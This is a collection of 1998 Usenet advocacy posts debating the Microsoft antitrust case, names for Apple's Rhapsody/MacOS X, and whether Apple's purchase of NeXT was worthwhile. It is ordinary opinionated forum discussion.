> thinking "what an asshole", eventually the whims of society (and thus the
> wheels of legistlation) start to turn against that <individual>.
>
> In these cases, it seems that words such as "should", "precedence" and
> "jurisprudence" are largely irrelevant.
It is a interesting way of saying "mob rule" is a prime motivator.
Unfortunately, I agree with you, otherwise why would the DOJ and Microsoft
be spending so much time and effort in public relations. Call me an idealist,
but I think it is our duty to fight against such tactics. This is especially
true when the "asshole" is being irritating because that <individual> is
taking advantage of our stupidity/weakness. Rather than admit our faults, we
redouble our efforts to blame the <individual> beyond anything that can be
reasonably justified.
Provoking Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacWeek Article on Future of Rhapsody
Newsgroups: comp.sys.next.advocacy
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mcmcd$23e$1@news.digifix.com> <6mhab9$gdj$4@msunews.cl.msu.edu> <slrn6otjtn.257.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Message-ID: <358ef9eb.0@news.depaul.edu>
Date: 23 Jun 98 00:42:19 GMT
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> :Personally I've advocated Rhapsody 1.0 being called MacOS X Server.
> Personally, I like the name "MacOS IX".
Just to really confuse the issue, how about "MacOS MMX"
--
"... and subpoenas for all." - Ken Starr
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Mon, 22 Jun 1998 18:16:09 -0700
Message-ID: <see-below-2206981816090001@dynamic47.pm10.mv.best.com>
References: <6m5048$189$1@nnrp1.dejanews.com> <B1AC8320-30EEA@209.152.194.60> <6m8684$dbl$6@ns3.vrx.net> <358B260B.1C7EA7D@spamtoNull.com> <6ml8lp$2hl$3@ns3.vrx.net>
In article <6ml8lp$2hl$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <358B260B.1C7EA7D@spamtoNull.com> Jonathan Harker claimed:
> > How well do you think Unreal would do on an iMac?
>
> I don't know, I don't play that game.
My impression is it will likely run ok in software rendering mode on the
iMac, but will probalby stutter quite a bit with the stock 32MB of RAM.
(Unreal needs a TON of memory--I think you need 128MB to avoid swapping
entirely)
In order to really run fairly well, it needs the Rage Pro (minimum to use
3D hardware at all), with 4MB of VRAM and at least 64MB of system RAM.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 22 Jun 1998 20:48:04 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <359f66ae.57736605@news.supernews.com>
References: <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
dpetticord@hotmail.com, on Mon, 22 Jun 1998 05:07:29 GMT,
>In article <35deaab4.128506219@news.supernews.com>,
> mdevlin@eltrax.com (T. Max Devlin) wrote:
[...]
>You are correct. I admit to relying on my personal experiences to project
>motivations to an entire market, but I find myself constantly telling people
>that the Internet and LANs were NOT invented by Microsoft. I guess it is the
>price I pay for supporting Microsoft products along with other non-microsoft
>products. So I will revise my statement to "IN MY OPINION, a significant
>number of people saw Microsoft products as the easy way to access the
>Internet and establish small office networks".
Your statement seems contradictory. It seems that your experience is
that a significant number of people saw accessing the Internet and
establish small office networks as a good thing, and Microsoft was
effectively the most obvious (not the easiest or the best way, from a
technical standpoint, at all) method available at that time, due to its
unethical monopoly.
Aren't you ever going to get tired of apologizing for Microsoft's
monopoly? Why the hell should you have to explain to people that the
Internet and LANs were not invented by Microsoft? I can only surmise
that you believe the hype that it is because their software is so much
better than any alternatives that Microsoft has such a large market
share. This is bogus, and disingenuous. You either recognize that, a)
while possibly functional, Microsoft's software is not any more
"superior" than anything else, or b) you believe that it is Microsoft's
software that made the Internet and LANs popular.
Of course, the obvious alternatives to this duality are the extremes,
which I will not support simply because they are extremes: c) all MS
software is crap, and based solely on hype, or d) Microsoft really did
invent the Internet.
><snip>
>> >I think we somewhat agree here too, but your arguments are treading
>> >dangerously close to suggesting Microsoft CAUSED the mass market's interest
>> >in the Internet.
>>
>> Never. Not in the slightest. _You_ brought up the phrase "people were
>> hearing about how easy it was to get online with Win95", or some such.
>> I was merely refuting this bogus claim.
>
>I appologize, I misunderstood your argument. I am still a little fuzzy on
>your position. Are you saying "the Internet became easy to access (WWW, etc)
>by itself and any credit Win95 received is totally bogus"?
You got it. Abso-tively. Win95 just happened to be there at the time.
The reason the Internet became easy to access is because the government
finally "let" people access it for commercial purposes. It wouldn't
have mattered if we were still using TRS-80s, once all the protocols
were in place. Sure, the increased demand for personal computers
certainly were part of the reason for that development, but I certainly
don't see any reason to assign any greater credit to any particular
microcomputer operating system.
>If this is what you are saying, I would agree this was true for the technical
>types like us. I used the company's VAX to access the internet well over
>10 years ago. Trumpet was good for getting a TCP/IP connection on Windows3.1,
>but all of this was still too complicated for the mass market. OS/2 warp got
>a LOT of mass market attention by advertising itself as the on-ramp to the
>internet. At the time, I thought IBM had a real chance at a come back.
>(I was not alone in this misguided presumption).
Once again, your "history" of the Internet starts with Windows "making
it easy". You don't understand; I am not arguing that Win95 doesn't
make connecting to the Internet "easy". But any OS with a built-in PPP
dialer would have been every bit as popular (note the possibility you
cite in Warp); it was the public perception, spawned by monopolistic
practices and deceptive marketing, that made Windows so popular, not the
fact that it had Dial-Up Networking.
And I bet I wouldn't have to re-install the entire PPP dialer system
every few months in Warp the way I do for Win95.
>> > It is contradictory to argue Microsoft created a market
>> >while at the same time trying to restrict Microsoft's access to it. I tend
>> >to think it was more a matter of timing, the mass market was ready for the
>> >internet, Microsoft (and others) exploited that readiness.
>>
>> Others exploited the readiness; Microsoft exploited them. The mass
>> market wasn't "ready" for the Internet. The Internet was ready for the
>> mass market. Or at least some bureaucratic dweebs in Washington thought
>> so.
>
>You lost me on the "dweebs" part. In fact you lost me on most of this
>argument. I am saying the rapid growth of the internet was due to public
>interest combined with cheap, easy to use, software tools. What are you
>saying?
I'm saying that the public interest in the Internet and cheap, easy to
use, software tools were made possible by, not the cause of, the rapid
growth of the Internet. Typical inversion of cause and effect in modern
perception.
You don't build cheap, easy to use software tools for something that
isn't popular yet, and thereby make it popular. You build software
tools for what is already rather popular, and that makes it easier. I
recognize that there is cyclic feedback involved. But as far as "which
came first, the chicken or the egg", the use of on-line services in the
late 80s did not attract the kind of attention that the same
functionality via the Internet did in the early 90s. The reason was
that prior to the early 90s, commercial organization were restricted
from using "the Internet", which at the time was the NFSnet. Allowing
commercial access to the Internet preceded, and precipitated, the
development of the use of the Internet we know today. It would have
hardly mattered which software companies were going to take advantage of
it. The fact that MS seems to take such credit for making the Internet
popular, when they came late to the party to begin with, and only
included a PPP dialer once they had launched their own proprietary MSN
network, and when Warp was supplying "virtual" competition, makes me all
the more distressed by the difficulty in understanding how little
Windows had to do with making the Internet a commercial success.
Just because it may be an abstract good to have everyone using the same
OS doesn't mean that all technical advances made are due to everybody
using the same OS.
><snip>
>> Just what exactly is the definition of "anti-competitive" in this sense.
>> I was under the impression that, in order to even _hope_ to succeed with
>> an anti-competitive behavior, you have to be doing something illegal.
>
>It is "anti-competitive" to lock a customer into a multi-year contract.
>It is "anti-competitive" to suppress technological breakthroughs.
>
>These are legal activities for most companies.
Not if they have an impact on the _market_, they are not. It is fine,
of course, if they only have an impact on your company. If you think of
a new (better) way to do things, and you don't implement it because it
will not be as profitable, I will feel moral indignation, but I
certainly wouldn't consider it legally actionable. However, if someone
else comes up with that new way, and you buy their company so that
_they_ can't try to make it profitable, you are anti-competitive, a
danger to society, and should be restricted from engaging in commerce.
>I could probably think of a few more, but hopefully you get the idea. Just
>because it is anti-competitive, does not mean it is illegal.
Well, now, I've had this discussion, in bits, with some of our favorite
trolls. The fact is, I can't think of any other definition of
"anti-competitive" other than "putatively competitive but illegal". I
submit that yes, the distinction between competitive (trying to sell
more of your product for more money) and anti-competitive (trying to get
your competitor to sell less products for less money) is a legal
distinction. Multi-year contracts and suppression of innovation are
legal, as long as they are competitive. I believe this means that they
have a chance to improve your chances of surviving in the market, as
opposed to having a chance to reduce your competitors chances.
It all comes down to that word "competition". In competition in a race,
you are not allowed to force your competitor off the track; though you
are free to try to beat his time, you aren't allowed to beat him with
whatever convenient rocks of sticks might litter the raceway.
> Now, if you
>are defining anti-competitive to mean "actions that will result in the
>elimination of ALL competitors", [...]
Actually, specifically, I mean "actions which _are intended_ to
eliminate your competitor, and which have a demonstrable chance of
succeeding". After all, trying to kill the competition when you don't
have a chance of pulling it off is, truly, anti-competitive, yes. But
it is not a problem because it is also stupid. Being "anti"
competitive, when you don't have a monopoly and must, perforce,
_compete_, is a good way to go out of business, since "anti-competitive"
means "not competing", and if you don't have the dominant market
position it takes to pull it off, you would be an idiot to try.
>this is a different story, but I assume
>you are not making the threshold that high. My definition of anti-competitive
>activity is any activity whose purpose is to hinder competitors from selling
>to a company's current or potential customers by means other than fair pricing
>and product quality. What is your definition?
Well, you nailed it, though I feel the need to make the distinction
between "anti-competitive" which meets your definition plus the caveat
"and your dominant market position gives you a reasonable possibility of
success in this activity", versus "stupid idea", which would cover these
types of actions by anyone who doesn't have a monopoly.
>> > Again, the
>> >threshhold of illegality is anticompetitive actions that ONLY a monopoly can
>> >do.
>>
>> I hardly think that anti-competitive actions from competitive
>> (non-monopoly) companies would be very effective. So yea, I guess you
>> could call them "legal", though I think the term "stupid" would be more
>> appropriate. Wouldn't anyone other than a monopoly only _hurt_ their
>> market share by trying to be anti-competitive?
>>
>
>I do not agree. There are many examples of small companies raising barriers
>for start-up companies into "their" industry. Do you really think small
>software companies DON'T try to trap with propriatary software designs?
>I can list many instrumentation vendors that do exactly this.
You mistake the concept of "small company" as an absolute metric. If
they are capable of raising barriers to entry in "their" industry, then
as far as that industry is concerned, they must be giants, eh?
I think that many small software companies MIGHT try to trap you with
proprietary software designs. They generally fail miserably, right?
Either they fail in trying, because their "proprietary designs" cannot
compete effectively, or they fail in trapping you, because their
particular instrumentation is too trivial for you to compromise the
integrity of the system simply to continue using that proprietary
design, regardless of their efforts.
Microsoft succeeds in doing this, of course, because their design
(bundling apps with OSes) is very effective, and their function
(accessing user's data on the user's personal computer) is rather
non-trivial.
>> > It does not take being a monopoly to design your product in such a way as
>> >to frustrate competitor's efforts to compete against it. I do not believe
>> >there is a precedent where a product DESIGN was ruled illegal.
>>
>> Well, no, I guess it is the mechanisms instantiated by the design that
>> would be illegal.
>
>huh?
A product DESIGN cannot be illegal, no (unless it violates patents or
what have you). What is illegal is using such a design, that could be
illegal.
>Lets cut to the point here. Let's look at software as a set of legos (the
>Object Oriented Design ideal). Microsoft has the nuclear power pack piece
>that every kid wants. Instead of selling that piece by itself, Microsoft
>thought about bundling other lego pieces with the power pack. Opps, that
>would be illegal tying, so Microsoft decided to start using glue and,
>presto-chango, a new, single, much-larger, lego piece.
Well, I guess I'll have to go along with your analogy, though I don't
really buy it. Object Oriented Design is not an ideal so much as a
fantasy. All modern implementations generally turn out to be "how can
we take your money today" marketing efforts, rather than
"interchangeable object-based programming models". Be that as it may...
>It is the gluing action that is the problem here.
Actually, it is the restraint of trade that the gluing causes that is
the problem. Other company's gluing leggos together does not cause that
problem, because them gluing their leggos together only makes their
pieces more specific; they will only fit if both pieces are needed;
Microsoft's gluing of pieces makes _other peoples_ leggos nonfunctional,
because now someone supplying only one piece MUST glue theirs together
the same way MS does, or their piece won't fit.
> The law has restriction on
>using LICENSES to bundle separate products. The law even has restrictions on
>PACKAGING separate products together. We are now pondering the question of
>DESIGN justification. It will be new territory for the courts to question
>Microsoft's anti-competitive use of design "glue".
Your citations of "the law" is simply the consent decree, not a law
which says bundling is illegal, though I agree with your overall
description. Anti-trust is anti-trust, anti-competitive is
anti-competive. It doesn't matter whether it is licenses, packaging, or
design. This appears only to be a precedent in your analogy, however.
It won't be any different for the courts to refer to software design in
determining Microsoft's legal case then having the courts recognize what
a phone is when dealing with AT&T. It wasn't Bell's design of the phone
which was the issue, it was their _use_ of the design of the phone.
The fact that software is mutable makes your argument all the more
ephemeral. There are physical necessities to how you build leggos which
make them less appropriate for designing anti-trust violations then with
software.
>> [...]
>> >The DOJ is trying to establish a new precedent to cover product design.[...]
>>
>> Whoa, now. Where did you get this? You're not claiming that "this is
>> all about the gov't trying to tell MS how to write software", are you?
>> I would have expected more mental rigor from you, Dave.
>
>Max, this is the whole paradox. How will the DOJ justify the separation of
>browser from operating system without talking about design?
Why would they need to? It isn't the software that needs to be
separated, it is the markets that need to be separated.
> If the DOJ could
>take an off-the-shelf Windows98 and show two separate, functional products,
>they might have a chance. There is little hope of them doing that.
I fail to see the relevance. Though I think my thoughts on this will
not make you more comfortable with the reality. The fact is that this
trial WILL completely throw out many "legal precedents" supposedly set
by the consent decree. There are no rules in software. Therefore,
there are no rules about how you need to examine software for evidence
of monopolistic practices. I think the fact that the DoJ _can't_ show
two separate products inside of Win98 more strongly supports their case
then otherwise. We're not deciding if MS can bundle browsers. We're
deciding if MS can monopolize.
>That leaves few choices. They could argue the unpopular idea of restricting
>DESIGN. They could argue that software FUNCTIONS are the products and not the
>code. They could define software as SERVICES. All of these are arguments
>with no legal precedents.
How about if they just argue that you can't use one monopoly to take
over other markets, like they always have. I believe that your issue is
whether or not "OS" and "browser" are separate markets, and that's why
we would need to look into the software, and define designs, functions,
or services. But this is inaccurate. It isn't up to Win98 whether OSes
and browsers are separate markets. Its up to those markets to determine
whether that is true. And it is true, regardless of how they build
their software. Having a monopoly on OSes on the industry standard open
architecture hardware platform DOES NOT give MS the right to
unilaterally decide whether browser are or are not "applications". So
exactly who does decide that, and what their decision is, is irrelevant,
IMHO, to the case at hand.
>The other possibility is to use mis-direction. Find them guilty of
>participating in an illegal discussions with Netscape and punish them by
>forcing a separation of products or groups. This falls into the category
>of "any guilty verdict will do".
Excuse me. How would punishing a company for illegal activities be
"mis-direction". The actual category is "any conviction that breaks the
monopoly will do". Because it will; I have no beef with MS (other than
general contempt for companies who obviously are unconcerned with fair
and ethical competition), I just don't want their monopoly to _continue_
to dampen innovation on the PC platform.
>> > But
>> >even they are hedging their bets by giving Microsoft the "out" of putting
>> >competing browsers on the desktop. Even this remedy requires that the DOJ
>> >demostrate a substantial illegal activity on Microsoft's part first.
>>
>> I'm seriously confused. It was my understanding that the "illegality"
>> at issue with Sherman Act legislation was that a monopoly cannot
>> "restrain trade". I must admit, I'm not familiar with the specifics of
>> any specifically proscribed actions. But the DoJ does not seem to have
>> a major obstacle in proving that Microsoft's strategy of ignoring the
>> distinct markets of PC hardware, MS operating systems, and PC apps is
>> based on illegal activity, according to the anti-trust law.
>
>We are getting to focus of our disagreements. You are pointing to the
>big picture result "trade is being restrained" and I am looking for the
>specific ILLEGAL cause.
If I am not mistaken, retraining trade is illegal. The cause is
irrelevant. You might mean, I believe, that you are looking for the
specific illegal ACT. IMHO, you can take your pick; MS has been
performing acts which illegally restrain trade since before anyone
noticed they were building a monopoly. If you feel you need to find the
"final straw" in order to make your case, then putting OS updates into
IE and Office distributions should be more than adequate, I believe.
> I feel the DOJ has to provide specific, illegal
>activities in order to prove Microsoft's guilt. In the IBM case, the DOJ
>could submit a standard IBM contract as evidence showing that IBM forces
>customers to take IBM software along with their hardware. In this case,
>the DOJ will be submitting a single CD containing Windows98.
>
>You are making a good argument, but I think the honest argument is that
>this is a case where software DESIGN is the illegal activity and must be
>restricted in the case of monopolies. It is not a popular argument, but
>Max, it is the only one that truly justifies the remedies you wish to
>impose. Microsoft is saying the Web Browser is part of the Operating System.
But it is not up to Microsoft. It is up to the markets. They happily
contributed to those markets back when IE _was_ a separately developed,
separately licensed, separately marketed Web Browser application.
Because they have a monopoly in PC OSes, they are allowed to
unilaterally redefine the markets? No, I don't think so. If their
monopoly were based in reality to begin with, there may some point to
insisting that the market will decide if Microsoft's new definitions are
valid. Since they have a monopoly, we can't let them decide just what
market they have a monopoly in at their whim. The idea is ludicrous.
Competition cannot correct this inaccurate, destructive redefinition,
because there is no competition. Competition cannot arise due to this
redefinition, because then each individual end-user must be willing to
voluntarily put years of data at risk when bucking the MS monopoly.
>If you want, blame Microsoft for forcing you and the DOJ to take that DESIGN
>decision away from them, but that is what it is going to take for a direct
>challenge (IMO).
If you say so. OK. But once again, it is not the DESGIN decision which
will be taken a way. It is the "right" to implement that design
decision, which I think is a very important distinction. For one thing,
I think it refutes all of your "they're establishing new precedent"
worries. Yes, applying anti-trust laws to a software-only market is a
new thing. But that doesn't really mean it necessarily works any
different from dealing with any other anti-trust monopoly.
AT&T was not allowed to sell operating systems. Did that stop them from
designing them?
>> As for
>> specific remedies, I wouldn't call being satisfied with anything that
>> allows competition to be "hedging their bets".
>
>Even the DOJ is suggesting the open desktop is "one of many options". The
>DOJ does not want to force the court into an all-or-nothing decision. I do
>not fault the DOJ for this.
The open desktop is every bit as much an all-or-nothing decision as any
other act designed to mitigate MS's unethical monopoly. Saying that
this is "hedging their bets" seems to indicate that all we want is to
"get" Microsoft. I, and the DoJ, have an interest in "getting"
Microsoft's monopoly. Any one of the many options which would
successfully do this is quite appropriate.
>> If the only reason you can come up with that the contempt case is
>> invalid is "Microsoft is so full of shit, that their legal agreements
>> are worthless to being with", I guess I support your approach. But you
>> seem awfully trollish today, David. Maybe it's just me...
>
><g> It was the only compromise you seem to be willing to accept. I say
>Microsoft has been consistent in their Consent Agreement arguments since
>1994. If all I have to do is grin and bare it when you say they have been
>consistantly "full of shit", I guess it is worth it for an uneasy peace.
>
><snip>
>> >Are you blaiming Microsoft because they are defending themselves?
>>
>> Well, I honestly have _no idea_ where you got that idea, but in all
>> honesty, YES. I am wholeheartedly blaming Microsoft for defending
>> itself. Any company with the slightest amount of technical integrity
>> would say "OK, well, you know, software can do anything, so let's work
>> this out..." But trying to take over the world was more attractive to
>> them then writing quality software that could change the world.
>>
>> The real fraud is the idea that Bill Gates is a visionary.
>
>I never thought of him as a visionary. I have generally thought of him as
>a good snake-oil salesman. I just wish we would quit blaming those that
>expose our weaknesses and start fixing the root problems.
The fact that you don't think making it quite clear that we do not
tolerate snake-oil salesman in ethical commerce IS the root problem.
You are going to thank someone from kicking you in the head because they
were kind enough to point out that your head is near their boot?
The root problem is ignorance, and men willing to take advantage of
ignorance to line their pockets. The root cause is tolerance of
disingenuous, duplicitous behavior because we must give everyone the
benefit of the doubt, and if you are creative in lying at only the right
times, you can't get caught. This is the purpose of both RICO and
anti-trust, in my opinion: to give the good guys a legal remedy for
saying "yes, each individual action by this snake-oil salesman may not
be illegal, but the end result is".
>>Lacking unethical and illegal restraint of trade, the
>> normal response to "this is the way we write our software, take it or
>> leave it" is "take a hike."
>
>We are back to "this situation is impossible to be legal". Maybe I am
>too experienced technically. I long ago gave up on the idea of building
>a better mouse-trap in order to get people knocking on my door. I work
>very hard to understand the state-of-the-art in computer hardware and
>software. I tore apart my Apple II+ and put it back together again,
>both hardware and software. I have been on the Amega, OS/2, Linux and other
>bandwagons. I have managed the production of several multi-tasking operating
>systems (one is still in use today). Worked with languages from machine code
>to Ada. I humbly submit I am good. Yes Max, I know how things SHOULD be and
>I strive for technical excellance. I make a reasonable living doing this and
>my conscence is clear. Why, then, am I "fighting" against Microsoft critics?
Because you are "too" experienced technically. Your expertise are quite
impressive, but still specific. If you have that much experience, I
honestly don't know why you can't understand that there is absolutely no
technical basis to an OS monopoly on an open hardware platform The
whole idea just doesn't make any sense.
But I suspect the reason you have trouble with this concept is the same
that most less experienced people do. You put "computers" like Apples
and PCs in the same box; you include both Amiga and OS/2 as alternate
OSes.
The point is you consider a single OS to be the _normal_ environment for
a computer platform. But the reason you think so is because the _only_
other computers you have EVER seen are fully proprietary in design. The
PC is unique: it isn't _owned_ by any one company. The IBM/BIOS/Intel
open architecture of industry standard interchangeable components is
unparalleled in the history of computing.
In fact, it is the development (accidentally, according to many) of a
non-proprietary microcomputer design which is actually responsible for
all the benefits I have previously argued are _not_ due to the design or
success of Windows. If an open PC architecture had not been
(unintentionally?) published by IBM in the early 80s, then I could
reasonably accept that the Internet would not have gone commercial in
the early 90s. And it is the hijacking of this de jour standard
platform into a Windows monopoly that so colors your perception that you
can't even see the inherent difference between buying a PC with Linux
and buying a Sun Ultra II.
>Because, it is important that we do not falsely feel purged of our sins
>through the crucifiction of Microsoft. What is the plan AFTER Microsoft is
>destroyed? I do not agree with your optimistic view of our industry. Things
>could get worse, much worse.
Worse how? Millions of vendors selling thousands of products from
hundreds of developers, each of them with varying levels of
compatibility?
Sounds like heaven to me.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MS Office 2000 - an OpenDoc clone?
Date: 22 Jun 1998 21:55:57 GMT
Organization: University of California at San Diego
Message-ID: <slrn6otknd.257.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <1davw09.o53r0m1ib5v89N@rhrz-isdn3-p41.rhrz.uni-bonn.de>
On Fri, 19 Jun 1998 19:00:18 +0200, Michael Schuerig <schuerig@acm.org> wrote:
:
:<http://www.news.com/News/Item/0,4,23268,00.html?st.ne.fd.mdh>
:
:<EXCERPT>
:As previously reported, the new version of Office is a radical departure
:from previous releases. Microsoft will recast Office as a series of
:application components, including Word, Excel, PowerPoint, Access, and
:Outlook, which can be distributed and managed from a central server.
:That's a major shift from the company's previous "no-component" stance.
:</EXCERPT>
Of course, any piece of software which has significant commercial
competition will be built into the required operating system and licensed
only as a single unit.
(honestly the componentware is a reaction to JavaBeans)
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 22 Jun 1998 21:42:14 GMT
Organization: University of California at San Diego
Message-ID: <slrn6otjtn.257.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mcmcd$23e$1@news.digifix.com> <6mhab9$gdj$4@msunews.cl.msu.edu>
:Personally I've advocated Rhapsody 1.0 being called MacOS X Server.
Personally, I like the name "MacOS IX".
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 21 Jun 1998 15:54:32 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <898552193.148025@kelp.mbay.net>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
>>Could Apple have done OS X by itself? No.
>
>AU/X ring a bell? If Apple had more of a clue, they would have built
>AU/X for the PowerMac and hosted a 68k virtual Mac on it. AU/X was the
>more Mac-like Unix of the time.
I think clues were the real value Apple got in the purchase. They
got a bunch of people who could implement a credible strategy for
moving Apple into a more modern OS. Yeah, it probably would have
been cheaper if Amelio had resigned and paid $1 million signing
bonuses to some better people, but that really wasn't an option.
So they wound up paying a premium to get people smart enough to
take over the company from the inside.
I don't get the impression YB is dead, and that does still represent
real value. Apple is just engaging in a two-step perception management
program. First step: get everyone migrated to MacOS X. The way to
do that is to make users and developers believe it's just an extenstion
of the MacOS. Once a substantial fraction are migrated, they start
flogging the new APIs, which is their transition to Intel strategy,
I assume.
--
Don McGregor | "I didn't say all the things I said."
mcgredo@mbay.net | --Yogi Berra
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 12:47:58 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EuyE7y.JAM@AWT.NL>
References: <6mkd25$8c44@odie.mcleod.net>
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
>The following argument was made to me by an associate. I was greatly
>disturbed by the fact that I had no ready counter argument. How should I
>have replied?
>
>
>BEGIN QUOTE FROM MEMORY:
>
>The NeXT purchase was a mistake. Apple already had a Mach kernel and the
>certainly could have purchased another one for less than 400M. If Apple had
>planned to release Openstep ASAP as the new operating system, then it might
>have been worth 400M to skip 2-4 years of development and get a product to
>market. As it is, all interesting NeXT technology has been deprecated or
>out right abandoned. Hell, even NeXTtime was superior to its replacement
>(nothing) in Rhapsody and we have waited 2+ years.
>
>POSIX: Apple developers don't want it. It was adapted from
>Free BSD after the merger.
I think POSIX used to be a must if you want to sell to the US govmt (though
if this is enforced, I doubt). I think POSIX was also one of the reasons for
A/UX, right? Anyway, POSIX is getting more and more important to be able to
run Unixy PD stuff off the shelf. Like PPP, Squid, Apache, other gnu stuff
etc. Developers often like these tools.
>MACH: Apple already had it before the merger
"Having" is a big word here. Something in the lab isn't equal to something
that has seen use for 10 years or so. Don't forget they get stuff that isn't
mentioned often like Netinfo, driver stuff for the new kernel. And a lot of
know how on these issues.
>YellowBox: Deprecated
Questionable. In the long run, *if* the Mac is seen as a platform with a
future, even the existing developers will want to use a toolkit that saves
them lots of development time. But the fiuture is uncertain here, Apple can
easily shoot itself in the foot.
>WebObjects: Small potatoes. Apple customers don't get it.
This is a separate thing and so far small potatoes.
>UFS/NFS: Deprecated in favor of HFS+ and de-frag tools
NFS, well... some kind of networking file system is in order. I do not like
NFS very much (maintenance wise), but it does work.
>Display Postscript: Abandoned
Well, they removed the *language*, but they kept the low level windowing
stuff and the are separating these from each other. Don't forget it is DPS
*and* Windowserver. I guess they will be keeping the latter.
>Remote Display: Abandoned
It might return in some form or another (PDO-based?). But so far abandoned.
>NeXTstep GUI: Abandoned
Yes, this is for the biggest part a bad thing. Sadly, Mac users seem to be
pretty conservative. It would have been great if they could have made an
improvement the way Win3.11 -> Win95 did it.
>EOF: Same fate as rest of YellowBox
EOF and PDO are pretty strong kits.
>Consistent Applications: Same fate as YellowBox/impossible along side
>Carbon
>Services: Same fate as YellowBox
>Intel Support: Abandoned
Not announced. It is not officially abandoned for MacOS X.
>Sparc Support: Abandoned before purchase
>Enterprise Support: Abandoned
If this means YB for Windows, I guess not.
>The counter argument is that with the exception of the outright canceled
>technology, Apple is just playing down acquired technology because Apple
>developers don't want it and Apple does not want to scare them. OK, then
>why have it at all if they don't want it ?
It is only one of the arguments.
>MaxOS-X is NOT Rhapsody 2.0. MaxOS-X is watered down Copland 5 years late.
>The fact that Mach is used as the kernel is coincidence. POSIX APIs are a
>non issue with Mac developers. Mac developers and users don't want
>UNIX/shells, standard UNIX tools, remote network administration, large
>network support, etc.
Maybe not, just like most Windows developers do not want the Unix tools. But
Unix developers have wanted a decent GUI-environment for a long time (and
X-based stuff doesn't come close).
MacOS X means: Apple developers keep what they have (with some mods) but they
are offered a road into a better world development-wise. The avialability of
Carbon is as essential as the possibility to run Win16 apps under NT and
Win95. You must have it, but hardly anyone uses it. It is only used for a
very short period during transition.
>I just read the session notes from the Carbon track at WWDC. I want to cry
>and laugh at the same time.
>As far as I can see, with the release of MacOS-X, users get the following:
>
>Proportional scroll bars: 10 years late
>Window layering: 10 years late
>Flexible Menus: 10 years late
>QuickDrawE 10 years and 4 attempts late
